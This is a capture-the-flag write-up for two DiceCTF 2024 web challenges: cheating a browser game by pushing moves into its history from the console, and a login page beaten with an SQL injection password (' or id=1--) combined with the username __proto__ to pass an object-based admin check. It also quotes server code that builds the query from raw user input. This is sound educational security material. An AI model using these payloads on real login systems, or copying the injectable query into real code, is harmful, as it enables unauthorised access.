Dice CTF 2024
Write ups for dicedicegoose & funnylogin from DiceCTF 2024
Web - Dicedicegoose
We are given a web game in which we have to catch a black square with our dice:

If we catch it we win:

Looking through the source code we see that if score = 9, we get the flag that is appended to the history encoded:
if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");
}
I just simulate the 9 shortest moves with the js console and trigger the win function:
myarray = [[1,1],[9,8]]
history.push(myarray)
myarray = [[2,1],[9,7]]
history.push(myarray)
myarray = [[3,1],[9,6]]
history.push(myarray)
myarray = [[4,1],[9,5]]
history.push(myarray)
myarray = [[5,1],[9,4]]
history.push(myarray)
myarray = [[6,1],[9,3]]
history.push(myarray)
myarray = [[7,1],[9,2]]
history.push(myarray)
myarray = [[8,1],[9,1]]
history.push(myarray)
win(history)

Web - Funnylogin
We are given a login page:

We are told we need to login as admin.
Inspecting the source code we see that:
1 - Theres an admin:
const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;
2 - User and pass are given in plaintext to an SQL query
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
3 - And there are some filters in order to get the flag:
try {
const id = db.prepare(query).get()?.id;
if (!id) {
return res.redirect("/?message=Incorrect username or password");
}
console.log(users[id])
console.log(isAdmin)
console.log(user)
if (users[id] && isAdmin[user]) {
return res.redirect("/?flag=" + encodeURIComponent(FLAG));
}
return res.redirect("/?message=This system is currently only available to admins...");
}
catch {
return res.redirect("/?message=Nice try...");
}
Bypass First Filter (!id)
Te first filter we need to bypass in order to get the flag is that the id must exist, in order to accomplish that we can set in the pass an SQL injection
user=&pass='+or+id=1--
We get as a response:
<p>Found. Redirecting to <a href="/?message=This%20system%20is%20currently%20only%20available%20to%20admins...">/?message=This%20system%20is%20currently%20only%20available%20to%20admins...</a></p>
Bypass Second Filter (isAdmin[user])
We need to give the valid user that is an admin. At first I thought that I had to either inject code or predict the user. But none of my injections worked as desired and the user was not predictable.
Suddenly I came across with the following:

Which from Spanish means:
In Javascript, if an object has no property, it will look in its prototype...
That made me think of a possible way to use a prototype pollution, which indeed succeded:
user=__proto__&pass='+or+id=1--

Last updated